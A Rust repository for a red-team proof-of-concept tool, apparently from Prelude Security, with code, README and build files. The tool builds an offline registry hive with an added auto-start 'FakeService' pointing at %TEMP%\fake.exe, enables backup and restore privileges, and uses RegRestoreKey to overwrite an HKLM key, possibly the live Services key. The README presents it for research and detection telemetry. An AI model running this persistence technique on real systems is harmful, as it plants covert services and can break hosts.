├── src ├── reg.rs ├── token.rs └── main.rs ├── .gitignore ├── Cargo.toml ├── LICENSE.md ├── README.md └── Cargo.lock /src/reg.rs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/token.rs: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | .claude 3 | .vscode -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "RegstorationRust" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | windows = {version = "0.62.0", features = [ 8 | "Win32_Foundation", 9 | "Win32_System_Registry", 10 | "Wdk_System_OfflineRegistry", 11 | "Win32_Security", 12 | "Win32_System_Threading", 13 | "Win32_Security_Authorization", 14 | "Win32_System_SystemServices" 15 | ]} 16 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Copyright (c) 2025 Prelude Research, Inc. All rights reserved. 2 | 3 | This source code is provided solely for transparency, educational, and research purposes related to Prelude. It may be viewed, read, and discussed freely, but no license or rights are granted to use, copy, modify, merge, publish, distribute, sublicense, or sell copies of this code or its derivatives, in whole or in part, without express written permission from Prelude. This code is not open source under the Open Source Initiative (OSI) definition and remains proprietary intellectual property of Prelude. 4 | 5 | For commercial licensing, partnerships, or permissions, please contact legal@preludesecurity.com -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # About 2 | 3 | This is a simple proof of concept tool, written in Rust, to demonstrate the use of [RegRestoreKey](https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regrestorekeyw) and the [Offline Registry Library](https://learn.microsoft.com/en-us/windows/win32/devnotes/offline-registry-library-functions) for registry interactions. 4 | 5 | For more information about how this tool was implemented and why it might be useful in a red team context, please refer to [Rehabilitating Registry Tradecraft with RegRestoreKey]( https://www.preludesecurity.com/blog/rehabilitating-registry-tradecraft-with-regrestorekey). 6 | 7 | ## WARNING: THIS PROOF OF CONCEPT IS LIKELY TO CAUSE SYSTEM INSTABILITY WHEN USED TO OVERWRITE THE ACTUAL ROOT SERVICES KEY (`SOFTWARE\\CURRENTCONTROLSET\\SERVICES`) 8 | - Regstoration does not overwrite the main services key at `HKLM\SOFTWARE\CURRENTCONTROLSET\SERVICES` by default. The default target is `HKLM\Software\Test`, which you will need to create if you would like to run Regstoration without specifying an already existing key's path. 9 | - If you would like to test overwriting the actual services key, do so using a virtual machine that can be restored from a stable snapshot. Any content written to a key or its values will be overwritten if supplied as an argument. 10 | - I suggest creating a dummy key to collect telemetry or evaluate detection strategies for this approach. The telemetry will be the same aside from the targeted path in the restore operation. 11 | 12 | # Usage 13 | - Open command prompt as Administrator 14 | - For testing: 15 | - Create empty key at `HKLM\Software\Test` 16 | - Restore to test key at `HKLM\Software\Test` (key must already exist): `cargo run` 17 | - For restoring to the primary Services key at `HKLM\SOFTWARE\CURRENTCONTROLSET\SERVICES` (WARNING: UNSAFE!) 18 | 19 | - Restore to arbitrary HKLM key (key must already exist): `cargo run -- SOFTWARE\CURRENTCONTROLSET\SERVICES` 20 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 4 4 | 5 | [[package]] 6 | name = "RegstorationRust" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "windows", 10 | ] 11 | 12 | [[package]] 13 | name = "proc-macro2" 14 | version = "1.0.101" 15 | source = "registry+https://github.com/rust-lang/crates.io-index" 16 | checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" 17 | dependencies = [ 18 | "unicode-ident", 19 | ] 20 | 21 | [[package]] 22 | name = "quote" 23 | version = "1.0.40" 24 | source = "registry+https://github.com/rust-lang/crates.io-index" 25 | checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" 26 | dependencies = [ 27 | "proc-macro2", 28 | ] 29 | 30 | [[package]] 31 | name = "syn" 32 | version = "2.0.106" 33 | source = "registry+https://github.com/rust-lang/crates.io-index" 34 | checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6" 35 | dependencies = [ 36 | "proc-macro2", 37 | "quote", 38 | "unicode-ident", 39 | ] 40 | 41 | [[package]] 42 | name = "unicode-ident" 43 | version = "1.0.18" 44 | source = "registry+https://github.com/rust-lang/crates.io-index" 45 | checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" 46 | 47 | [[package]] 48 | name = "windows" 49 | version = "0.62.0" 50 | source = "registry+https://github.com/rust-lang/crates.io-index" 51 | checksum = "9579d0e6970fd5250aa29aba5994052385ff55cf7b28a059e484bb79ea842e42" 52 | dependencies = [ 53 | "windows-collections", 54 | "windows-core", 55 | "windows-future", 56 | "windows-link", 57 | "windows-numerics", 58 | ] 59 | 60 | [[package]] 61 | name = "windows-collections" 62 | version = "0.3.0" 63 | source = "registry+https://github.com/rust-lang/crates.io-index" 64 | checksum = "a90dd7a7b86859ec4cdf864658b311545ef19dbcf17a672b52ab7cefe80c336f" 65 | dependencies = [ 66 | "windows-core", 67 | ] 68 | 69 | [[package]] 70 | name = "windows-core" 71 | version = "0.62.0" 72 | source = "registry+https://github.com/rust-lang/crates.io-index" 73 | checksum = "57fe7168f7de578d2d8a05b07fd61870d2e73b4020e9f49aa00da8471723497c" 74 | dependencies = [ 75 | "windows-implement", 76 | "windows-interface", 77 | "windows-link", 78 | "windows-result", 79 | "windows-strings", 80 | ] 81 | 82 | [[package]] 83 | name = "windows-future" 84 | version = "0.3.0" 85 | source = "registry+https://github.com/rust-lang/crates.io-index" 86 | checksum = "b2194dee901458cb79e1148a4e9aac2b164cc95fa431891e7b296ff0b2f1d8a6" 87 | dependencies = [ 88 | "windows-core", 89 | "windows-link", 90 | "windows-threading", 91 | ] 92 | 93 | [[package]] 94 | name = "windows-implement" 95 | version = "0.60.0" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "a47fddd13af08290e67f4acabf4b459f647552718f683a7b415d290ac744a836" 98 | dependencies = [ 99 | "proc-macro2", 100 | "quote", 101 | "syn", 102 | ] 103 | 104 | [[package]] 105 | name = "windows-interface" 106 | version = "0.59.1" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "bd9211b69f8dcdfa817bfd14bf1c97c9188afa36f4750130fcdf3f400eca9fa8" 109 | dependencies = [ 110 | "proc-macro2", 111 | "quote", 112 | "syn", 113 | ] 114 | 115 | [[package]] 116 | name = "windows-link" 117 | version = "0.2.0" 118 | source = "registry+https://github.com/rust-lang/crates.io-index" 119 | checksum = "45e46c0661abb7180e7b9c281db115305d49ca1709ab8242adf09666d2173c65" 120 | 121 | [[package]] 122 | name = "windows-numerics" 123 | version = "0.3.0" 124 | source = "registry+https://github.com/rust-lang/crates.io-index" 125 | checksum = "2ce3498fe0aba81e62e477408383196b4b0363db5e0c27646f932676283b43d8" 126 | dependencies = [ 127 | "windows-core", 128 | "windows-link", 129 | ] 130 | 131 | [[package]] 132 | name = "windows-result" 133 | version = "0.4.0" 134 | source = "registry+https://github.com/rust-lang/crates.io-index" 135 | checksum = "7084dcc306f89883455a206237404d3eaf961e5bd7e0f312f7c91f57eb44167f" 136 | dependencies = [ 137 | "windows-link", 138 | ] 139 | 140 | [[package]] 141 | name = "windows-strings" 142 | version = "0.5.0" 143 | source = "registry+https://github.com/rust-lang/crates.io-index" 144 | checksum = "7218c655a553b0bed4426cf54b20d7ba363ef543b52d515b3e48d7fd55318dda" 145 | dependencies = [ 146 | "windows-link", 147 | ] 148 | 149 | [[package]] 150 | name = "windows-threading" 151 | version = "0.2.0" 152 | source = "registry+https://github.com/rust-lang/crates.io-index" 153 | checksum = "ab47f085ad6932defa48855254c758cdd0e2f2d48e62a34118a268d8f345e118" 154 | dependencies = [ 155 | "windows-link", 156 | ] 157 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use windows::{ 2 | core::*, 3 | Win32::Foundation::*, 4 | Win32::System::Registry::*, 5 | Win32::Security::*, 6 | Win32::System::Threading::*, 7 | Wdk::System::OfflineRegistry::*, 8 | }; 9 | use std::ffi::c_void; 10 | use std::path::PathBuf; 11 | 12 | // Registry constants 13 | const RRF_RT_ANY: u32 = 0x0000FFFF; 14 | const REG_FORCE_RESTORE: i32 = 0x00000008; 15 | 16 | // Security constants 17 | const PRIVILEGE_SET_ALL_NECESSARY: u32 = 1; 18 | 19 | // Helper function to convert &str to PCWSTR with proper lifetime management 20 | fn to_pcwstr(s: &str) -> (Vec, PCWSTR) { 21 | let wide: Vec = s.encode_utf16().chain(std::iter::once(0)).collect(); 22 | let pcwstr = PCWSTR::from_raw(wide.as_ptr()); 23 | (wide, pcwstr) 24 | } 25 | 26 | // Check if current process is running with elevated privileges 27 | fn is_process_elevated() -> windows::core::Result { 28 | unsafe { 29 | let mut token = HANDLE::default(); 30 | OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?; 31 | 32 | let mut elevation = TOKEN_ELEVATION::default(); 33 | let mut return_length = 0u32; 34 | 35 | GetTokenInformation( 36 | token, 37 | TokenElevation, 38 | Some(&mut elevation as *mut _ as *mut c_void), 39 | std::mem::size_of::() as u32, 40 | &mut return_length, 41 | )?; 42 | 43 | CloseHandle(token).ok(); 44 | Ok(elevation.TokenIsElevated != 0) 45 | } 46 | } 47 | 48 | // Enable a specific privilege by name 49 | fn enable_privilege(privilege_name: &str) -> windows::core::Result<()> { 50 | unsafe { 51 | let mut token = HANDLE::default(); 52 | OpenProcessToken( 53 | GetCurrentProcess(), 54 | TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 55 | &mut token, 56 | )?; 57 | 58 | let privilege_name_cstr = std::ffi::CString::new(privilege_name) 59 | .map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?; 60 | 61 | let mut luid = LUID::default(); 62 | LookupPrivilegeValueA( 63 | PCSTR::null(), 64 | PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8), 65 | &mut luid, 66 | )?; 67 | 68 | let mut tp = TOKEN_PRIVILEGES { 69 | PrivilegeCount: 1, 70 | Privileges: [LUID_AND_ATTRIBUTES { 71 | Luid: luid, 72 | Attributes: SE_PRIVILEGE_ENABLED, 73 | }], 74 | }; 75 | 76 | AdjustTokenPrivileges( 77 | token, 78 | false, 79 | Some(&mut tp), 80 | 0, 81 | None, 82 | None, 83 | )?; 84 | 85 | CloseHandle(token).ok(); 86 | Ok(()) 87 | } 88 | } 89 | 90 | // Check if a privilege is enabled 91 | fn is_privilege_enabled(privilege_name: &str) -> windows::core::Result { 92 | unsafe { 93 | let mut token = HANDLE::default(); 94 | OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token)?; 95 | 96 | let privilege_name_cstr = std::ffi::CString::new(privilege_name) 97 | .map_err(|_| windows::core::Error::from_hresult(E_INVALIDARG))?; 98 | 99 | let mut luid = LUID::default(); 100 | LookupPrivilegeValueA( 101 | PCSTR::null(), 102 | PCSTR::from_raw(privilege_name_cstr.as_ptr() as *const u8), 103 | &mut luid, 104 | )?; 105 | 106 | let privilege_set = PRIVILEGE_SET { 107 | PrivilegeCount: 1, 108 | Control: PRIVILEGE_SET_ALL_NECESSARY, 109 | Privilege: [LUID_AND_ATTRIBUTES { 110 | Luid: luid, 111 | Attributes: TOKEN_PRIVILEGES_ATTRIBUTES(0), 112 | }], 113 | }; 114 | 115 | let mut result = false.into(); 116 | PrivilegeCheck(token, &privilege_set as *const _ as *mut _, &mut result)?; 117 | 118 | CloseHandle(token).ok(); 119 | Ok(result.as_bool()) 120 | } 121 | } 122 | 123 | // Enable required privileges for registry restoration 124 | fn enable_required_privileges() -> windows::core::Result<()> { 125 | println!("[+] Checking/Setting token privileges needed to call RegRestoreKey!"); 126 | 127 | // Check if process is elevated 128 | if !is_process_elevated()? { 129 | println!("[!] Process is not running with elevated privileges. Please run as administrator."); 130 | return Err(windows::core::Error::from_hresult(E_ACCESSDENIED)); 131 | } 132 | 133 | let required_privileges = ["SeBackupPrivilege", "SeRestorePrivilege"]; 134 | let mut privileges_needed = Vec::new(); 135 | 136 | // Check which privileges need to be enabled 137 | for privilege in &required_privileges { 138 | if !is_privilege_enabled(privilege)? { 139 | privileges_needed.push(*privilege); 140 | } 141 | } 142 | 143 | if privileges_needed.is_empty() { 144 | println!("[+] Both privileges already enabled!"); 145 | return Ok(()); 146 | } 147 | 148 | println!("[+] {} privileges need to be enabled to restore a reg hive file!", privileges_needed.len()); 149 | 150 | // Enable each required privilege 151 | for privilege in &privileges_needed { 152 | println!("[+] Enabling {}!", privilege); 153 | enable_privilege(privilege)?; 154 | println!("[+] {} enabled successfully!", privilege); 155 | } 156 | 157 | // Verify privileges were enabled 158 | for privilege in &required_privileges { 159 | if !is_privilege_enabled(privilege)? { 160 | println!("[!] Failed to enable {}", privilege); 161 | return Err(windows::core::Error::from_hresult(E_FAIL)); 162 | } 163 | } 164 | 165 | println!("[+] All required privileges enabled successfully!"); 166 | Ok(()) 167 | } 168 | 169 | // Restore registry from hive file 170 | fn restore_from_hive(hive_filename: &str, target_key: &str) -> windows::core::Result<()> { 171 | // Get temp directory path 172 | let temp_dir = std::env::var("LOCALAPPDATA") 173 | .or_else(|_| std::env::var("TEMP")) 174 | .unwrap_or_else(|_| "C:\\Temp".to_string()); 175 | 176 | let mut hive_path = PathBuf::from(temp_dir); 177 | hive_path.push("Temp"); 178 | hive_path.push(hive_filename); 179 | 180 | println!("[+] Restoring hive from: {}", hive_path.display()); 181 | 182 | // Convert paths to wide strings 183 | let path_str = hive_path.to_string_lossy(); 184 | let (_wide_path, path_pcwstr) = to_pcwstr(&path_str); 185 | let (_target_key_wide, target_key_pcwstr) = to_pcwstr(target_key); 186 | 187 | // Open target registry key 188 | let mut target_hkey = HKEY::default(); 189 | let open_result = unsafe { 190 | RegOpenKeyExW( 191 | HKEY_LOCAL_MACHINE, 192 | target_key_pcwstr, 193 | Some(0), 194 | KEY_ALL_ACCESS, 195 | &raw mut target_hkey, 196 | ) 197 | }; 198 | 199 | if open_result != ERROR_SUCCESS { 200 | println!("Failed to open target key '{}'. Error: {:?}", target_key, open_result); 201 | return Err(windows::core::Error::from_hresult(HRESULT(open_result.0 as i32))); 202 | } 203 | 204 | // Restore the hive 205 | let restore_result = unsafe { 206 | RegRestoreKeyW( 207 | target_hkey, 208 | path_pcwstr, 209 | REG_RESTORE_KEY_FLAGS(REG_FORCE_RESTORE), 210 | ) 211 | }; 212 | 213 | // Close the target key 214 | unsafe { 215 | let _ = RegCloseKey(target_hkey); 216 | } 217 | 218 | if restore_result != ERROR_SUCCESS { 219 | match restore_result.0 { 220 | 0x522 => { // ERROR_PRIVILEGE_NOT_HELD 221 | println!("Failed to restore hive: Insufficient privileges. Please ensure SeBackupPrivilege and SeRestorePrivilege are enabled."); 222 | } 223 | 0x5 => { // ERROR_ACCESS_DENIED 224 | println!("Failed to restore hive: Access denied. Please ensure you have administrative privileges."); 225 | } 226 | _ => { 227 | println!("Failed to restore hive. Error: {:?}", restore_result); 228 | } 229 | } 230 | return Err(windows::core::Error::from_hresult(HRESULT(restore_result.0 as i32))); 231 | } 232 | 233 | println!("[+] Successfully restored hive"); 234 | Ok(()) 235 | } 236 | 237 | fn get_installed_services() -> windows::core::Result> { 238 | let (_service_key_path_wide, service_key_path) = to_pcwstr("SYSTEM\\CurrentControlSet\\Services"); 239 | let mut key_handle = HKEY::default(); 240 | 241 | let result = unsafe { 242 | RegOpenKeyExW( 243 | HKEY_LOCAL_MACHINE, 244 | service_key_path, 245 | Some(0), 246 | KEY_READ, 247 | &raw mut key_handle, 248 | ) 249 | }; 250 | 251 | if result != ERROR_SUCCESS { 252 | println!("RegOpenKeyExW FAILED to open the root services key. Error: {}", result.0); 253 | return Err(windows::core::Error::from_hresult(result.into())); 254 | } 255 | 256 | println!("[+] Opened root services key"); 257 | 258 | let mut service_names = Vec::new(); 259 | 260 | // Enumerate installed services 261 | let mut index = 0u32; 262 | loop { 263 | let mut key_name = [0u16; 260]; // MAX_PATH equivalent (wide chars) 264 | let mut key_name_size = key_name.len() as u32; 265 | 266 | let enum_result = unsafe { 267 | RegEnumKeyExW( 268 | key_handle, 269 | index, 270 | Some(PWSTR(key_name.as_mut_ptr())), 271 | &raw mut key_name_size, 272 | None, 273 | None, 274 | None, 275 | None, 276 | ) 277 | }; 278 | 279 | if enum_result != ERROR_SUCCESS { 280 | break; 281 | } 282 | 283 | // Convert from wide string to String 284 | let key_name_slice = &key_name[..key_name_size as usize]; 285 | if let Ok(service_name) = String::from_utf16(key_name_slice) { 286 | service_names.push(service_name); 287 | } 288 | 289 | index += 1; 290 | } 291 | 292 | // Close the root key 293 | unsafe { 294 | let _ = RegCloseKey(key_handle); 295 | } 296 | 297 | println!("[+] Found {} services", service_names.len()); 298 | Ok(service_names) 299 | } 300 | 301 | 302 | fn enumerate_registry_values(key_handle: HKEY) -> windows::core::Result> { 303 | let mut value_names = Vec::new(); 304 | let mut index = 0u32; 305 | 306 | loop { 307 | let mut value_name = [0u16; 260]; // MAX_PATH equivalent 308 | let mut value_name_size = value_name.len() as u32; 309 | 310 | let enum_result = unsafe { 311 | RegEnumValueW( 312 | key_handle, 313 | index, 314 | Some(PWSTR(value_name.as_mut_ptr())), 315 | &raw mut value_name_size, 316 | None, 317 | None, 318 | None, 319 | None, 320 | ) 321 | }; 322 | 323 | if enum_result != ERROR_SUCCESS { 324 | // ERROR_NO_MORE_ITEMS indicates we've enumerated all values 325 | if enum_result == ERROR_NO_MORE_ITEMS { 326 | break; 327 | } else { 328 | println!("RegEnumValueW failed with error: {:?}", enum_result); 329 | break; 330 | } 331 | } 332 | 333 | // Convert from wide string to String 334 | let value_name_slice = &value_name[..value_name_size as usize]; 335 | if let Ok(value_name_str) = String::from_utf16(value_name_slice) { 336 | value_names.push(value_name_str); 337 | } 338 | 339 | index += 1; 340 | } 341 | 342 | Ok(value_names) 343 | } 344 | 345 | fn copy_registry_values(source_key: HKEY, dest_key: ORHKEY) -> windows::core::Result { 346 | // Enumerate all values in the source key 347 | let value_names = enumerate_registry_values(source_key)?; 348 | let mut values_copied = 0u32; 349 | 350 | for value_name in &value_names { 351 | let (_value_name_wide, value_name_pcwstr) = to_pcwstr(value_name); 352 | 353 | // First call to RegGetValueW to get the size and type 354 | let mut value_type: REG_VALUE_TYPE = REG_VALUE_TYPE(0); 355 | let mut data_size: u32 = 0; 356 | 357 | let size_result = unsafe { 358 | RegGetValueW( 359 | source_key, 360 | PCWSTR::null(), 361 | value_name_pcwstr, 362 | REG_ROUTINE_FLAGS(RRF_RT_ANY), 363 | Some(&raw mut value_type), 364 | None, 365 | Some(&raw mut data_size), 366 | ) 367 | }; 368 | 369 | if size_result != ERROR_SUCCESS { 370 | println!(" Failed to get size for value '{}'. Error: {:?}", value_name, size_result); 371 | continue; 372 | } 373 | 374 | if data_size > 0 { 375 | // Allocate buffer and read the actual data 376 | let mut data: Vec = vec![0u8; data_size as usize]; 377 | let _original_data_size = data_size; // Save original size before second call 378 | 379 | let read_result = unsafe { 380 | RegGetValueW( 381 | source_key, 382 | PCWSTR::null(), 383 | value_name_pcwstr, 384 | REG_ROUTINE_FLAGS(RRF_RT_ANY), 385 | Some(&raw mut value_type), 386 | Some(data.as_mut_ptr() as *mut c_void), 387 | Some(&raw mut data_size), 388 | ) 389 | }; 390 | 391 | if read_result != ERROR_SUCCESS { 392 | println!(" Failed to read data for value '{}'. Error: {:?}", value_name, read_result); 393 | continue; 394 | } 395 | 396 | // Ensure we only use the actual data size, not the buffer size 397 | let actual_data = &data[..data_size as usize]; 398 | 399 | // Write the value to the offline hive 400 | let write_result = unsafe { 401 | ORSetValue( 402 | dest_key, 403 | value_name_pcwstr, 404 | value_type.0, 405 | Some(actual_data), 406 | ) 407 | }; 408 | 409 | if write_result != WIN32_ERROR(0) { 410 | println!(" Failed to write value '{}' to hive. Error: {:?}", value_name, write_result); 411 | continue; 412 | } 413 | 414 | values_copied += 1; 415 | } else { 416 | println!(" Value '{}' has no data", value_name); 417 | } 418 | } 419 | 420 | Ok(values_copied) 421 | } 422 | 423 | fn copy_services_to_hive(service_names: &Vec, hive_handle: ORHKEY) -> windows::core::Result<()> { 424 | println!("[+] Using service keys from registry struct to populate the hive file..."); 425 | 426 | // TODO: Implement full service copying logic 427 | // This would involve: 428 | // - Opening each service key in the real registry 429 | // - Creating corresponding keys in the offline hive 430 | // - Copying all values for each service 431 | for service_name in service_names { 432 | // Convert service name to wide string for ORCreateKey 433 | let (_service_name_wide, service_name_pcwstr) = to_pcwstr(service_name); 434 | // Create service path as wide string for RegOpenKeyExW 435 | let service_path = format!("SYSTEM\\CurrentControlSet\\Services\\{service_name}"); 436 | let (_service_path_wide, service_path_pcwstr) = to_pcwstr(&service_path); 437 | // open the original service key in the real registry 438 | let mut og_key_handle = HKEY::default(); 439 | let open_result = unsafe { 440 | RegOpenKeyExW( 441 | HKEY_LOCAL_MACHINE, 442 | service_path_pcwstr, 443 | Some(0), 444 | KEY_READ, 445 | &raw mut og_key_handle, 446 | ) 447 | }; 448 | 449 | if open_result != ERROR_SUCCESS { 450 | println!("Failed to open service key '{}'. Error: {:?}", service_name, open_result); 451 | continue; // Skip this service and continue with the next one 452 | } 453 | 454 | // create the equivalent key in the offline registry hive 455 | let mut offline_service_key = ORHKEY::default(); 456 | let mut disposition: u32 = 0; 457 | let create_result = unsafe { 458 | ORCreateKey( 459 | hive_handle, 460 | service_name_pcwstr, 461 | PWSTR::null(), // lpClass - can be null 462 | Some(0), // dwOptions - 0 for default (wrapped in Some) 463 | None, // pSecurityDescriptor - can be null 464 | &raw mut offline_service_key, 465 | Some(&raw mut disposition) 466 | ) 467 | }; 468 | 469 | if create_result != WIN32_ERROR(0) { 470 | println!("Failed to create offline service key '{}'. Error: {:?}", service_name, create_result); 471 | unsafe { 472 | let _ = RegCloseKey(og_key_handle); 473 | } 474 | continue; // Skip this service and continue with the next one 475 | } 476 | 477 | // Copy values from og_key_handle to offline_service_key 478 | match copy_registry_values(og_key_handle, offline_service_key) { 479 | Ok(values_copied) => { 480 | if values_copied > 0 { 481 | println!(" Copied {} values for service '{}'", values_copied, service_name); 482 | } 483 | } 484 | Err(e) => { 485 | println!(" Failed to copy values for service '{}'. Error: {:?}", service_name, e); 486 | } 487 | } 488 | 489 | 490 | // Clean up handles 491 | unsafe { 492 | let _ = RegCloseKey(og_key_handle); 493 | let _ = ORCloseKey(offline_service_key); 494 | } 495 | } 496 | 497 | Ok(()) 498 | } 499 | 500 | fn add_fake_service(hive_handle: ORHKEY) -> windows::core::Result<()> { 501 | println!("[+] Adding fake service to hive..."); 502 | 503 | let (_service_name_wide, service_name_pcwstr) = to_pcwstr("FakeService"); 504 | 505 | // Create the fake service key in the offline hive 506 | let mut fake_service_key = ORHKEY::default(); 507 | let mut disposition: u32 = 0; 508 | let create_result = unsafe { 509 | ORCreateKey( 510 | hive_handle, 511 | service_name_pcwstr, 512 | PWSTR::null(), 513 | Some(0), 514 | None, 515 | &raw mut fake_service_key, 516 | Some(&raw mut disposition) 517 | ) 518 | }; 519 | 520 | if create_result != WIN32_ERROR(0) { 521 | println!("Failed to create fake service key. Error: {:?}", create_result); 522 | return Err(windows::core::Error::from_hresult(HRESULT(create_result.0 as i32))); 523 | } 524 | 525 | // Define fake service values 526 | let service_values = [ 527 | ("DisplayName", "Fake Service", 1u32), // REG_SZ 528 | ("ImagePath", "%TEMP%\\fake.exe", 2u32), // REG_EXPAND_SZ 529 | ("Type", "", 4u32), // REG_DWORD - will set data separately 530 | ("Start", "", 4u32), // REG_DWORD - will set data separately 531 | ("ErrorControl", "", 4u32), // REG_DWORD - will set data separately 532 | ]; 533 | 534 | // DWORD values 535 | let type_value: u32 = 0x10; // SERVICE_WIN32_OWN_PROCESS 536 | let start_value: u32 = 0x02; // AUTO_START 537 | let error_control_value: u32 = 0x01; // Normal 538 | 539 | for (name, string_data, value_type) in &service_values { 540 | let (_name_wide, name_pcwstr) = to_pcwstr(name); 541 | 542 | let set_result = if *value_type == 4 { // REG_DWORD 543 | let data = match *name { 544 | "Type" => type_value.to_le_bytes(), 545 | "Start" => start_value.to_le_bytes(), 546 | "ErrorControl" => error_control_value.to_le_bytes(), 547 | _ => [0u8; 4], 548 | }; 549 | 550 | unsafe { 551 | ORSetValue( 552 | fake_service_key, 553 | name_pcwstr, 554 | *value_type, 555 | Some(&data), 556 | ) 557 | } 558 | } else { // REG_SZ or REG_EXPAND_SZ 559 | let (_string_wide, string_pcwstr) = to_pcwstr(string_data); 560 | let string_bytes = string_data.encode_utf16() 561 | .chain(std::iter::once(0)) 562 | .flat_map(|u| u.to_le_bytes()) 563 | .collect::>(); 564 | 565 | unsafe { 566 | ORSetValue( 567 | fake_service_key, 568 | name_pcwstr, 569 | *value_type, 570 | Some(&string_bytes), 571 | ) 572 | } 573 | }; 574 | 575 | if set_result != WIN32_ERROR(0) { 576 | println!("Failed to set value '{}' for fake service. Error: {:?}", name, set_result); 577 | unsafe { 578 | let _ = ORCloseKey(fake_service_key); 579 | } 580 | return Err(windows::core::Error::from_hresult(HRESULT(set_result.0 as i32))); 581 | } 582 | } 583 | 584 | // Close the fake service key 585 | unsafe { 586 | let _ = ORCloseKey(fake_service_key); 587 | } 588 | 589 | println!("[+] Successfully added fake service to hive"); 590 | Ok(()) 591 | } 592 | 593 | fn save_hive(hive_handle: ORHKEY) -> windows::core::Result<()> { 594 | // Get temp directory path 595 | let temp_dir = std::env::var("LOCALAPPDATA") 596 | .or_else(|_| std::env::var("TEMP")) 597 | .unwrap_or_else(|_| "C:\\Temp".to_string()); 598 | 599 | let mut hive_path = PathBuf::from(temp_dir); 600 | hive_path.push("Temp"); 601 | hive_path.push("restore_hive.hive"); 602 | 603 | // Delete existing file if it exists 604 | if hive_path.exists() { 605 | if let Err(e) = std::fs::remove_file(&hive_path) { 606 | println!("Warning: Failed to delete existing hive file: {}", e); 607 | } else { 608 | println!("[+] Deleted existing hive file"); 609 | } 610 | } 611 | 612 | println!("[+] Saving hive to: {}", hive_path.display()); 613 | 614 | // Convert path to wide string 615 | let path_str = hive_path.to_string_lossy(); 616 | let (_wide_path, path_pcwstr) = to_pcwstr(&path_str); 617 | 618 | // Save the hive with version 10 (Windows 10/11) 619 | let result = unsafe { 620 | ORSaveHive( 621 | hive_handle, 622 | path_pcwstr, 623 | 10, // Major version (Windows 10/11) 624 | 0 // Minor version 625 | ) 626 | }; 627 | 628 | if result != WIN32_ERROR(0) { 629 | println!("Failed to save hive. Error: {:?}", result); 630 | return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32))); 631 | } 632 | 633 | println!("[+] Successfully saved hive"); 634 | Ok(()) 635 | } 636 | 637 | fn create_and_populate_hive(service_names: &Vec) -> windows::core::Result<()> { 638 | // Create offline hive 639 | let mut hive_handle = ORHKEY::default(); 640 | let result = unsafe { 641 | ORCreateHive(&raw mut hive_handle) 642 | }; 643 | 644 | if result != WIN32_ERROR(0) { 645 | println!("ORCreateHive FAILED. Error: {:?}", result); 646 | return Err(windows::core::Error::from_hresult(HRESULT(result.0 as i32))); 647 | } 648 | 649 | println!("[+] Successfully created offline hive"); 650 | 651 | // Copy services to hive 652 | copy_services_to_hive(service_names, hive_handle)?; 653 | 654 | // Add fake service to hive 655 | add_fake_service(hive_handle)?; 656 | 657 | // Save hive to file 658 | save_hive(hive_handle)?; 659 | 660 | // Close the hive 661 | unsafe { 662 | let _ = ORCloseHive(hive_handle); 663 | } 664 | 665 | Ok(()) 666 | } 667 | 668 | fn main() { 669 | // Get command line arguments for target key (if provided) 670 | let args: Vec = std::env::args().collect(); 671 | let target_key = if args.len() > 1 { 672 | args[1].clone() 673 | } else { 674 | "SOFTWARE\\Test".to_string() // Default target key like C implementation 675 | }; 676 | 677 | println!("[+] Target key: {}", target_key); 678 | 679 | match get_installed_services() { 680 | Ok(service_names) => { 681 | println!("Successfully enumerated {} services", service_names.len()); 682 | 683 | // Display first few service names 684 | println!("First 10 services:"); 685 | for service_name in service_names.iter().take(10) { 686 | println!(" {}", service_name); 687 | } 688 | 689 | // Create and populate hive 690 | println!("\n[+] Creating offline hive..."); 691 | match create_and_populate_hive(&service_names) { 692 | Ok(()) => { 693 | println!("[+] Successfully created and saved hive file"); 694 | } 695 | Err(e) => { 696 | println!("Failed to create and populate hive: {}", e); 697 | return; 698 | } 699 | } 700 | 701 | // Enable required privileges 702 | match enable_required_privileges() { 703 | Ok(()) => { 704 | println!("[+] Token privileges configured successfully"); 705 | } 706 | Err(e) => { 707 | println!("Failed to enable required privileges: {}", e); 708 | return; 709 | } 710 | } 711 | 712 | // Restore hive to target registry key 713 | println!("\n[+] Restoring to registry key: {}", target_key); 714 | match restore_from_hive("restore_hive.hive", &target_key) { 715 | Ok(()) => { 716 | println!("[+] Successfully restored hive to registry"); 717 | } 718 | Err(e) => { 719 | println!("Failed to restore from hive: {}", e); 720 | return; 721 | } 722 | } 723 | 724 | // Clean up hive file 725 | let temp_dir = std::env::var("LOCALAPPDATA") 726 | .or_else(|_| std::env::var("TEMP")) 727 | .unwrap_or_else(|_| "C:\\Temp".to_string()); 728 | 729 | let mut hive_path = PathBuf::from(temp_dir); 730 | hive_path.push("Temp"); 731 | hive_path.push("restore_hive.hive"); 732 | 733 | if let Err(e) = std::fs::remove_file(&hive_path) { 734 | println!("Warning: Failed to delete hive file: {}", e); 735 | } else { 736 | println!("[+] Cleaned up hive file in temp folder"); 737 | } 738 | } 739 | Err(e) => { 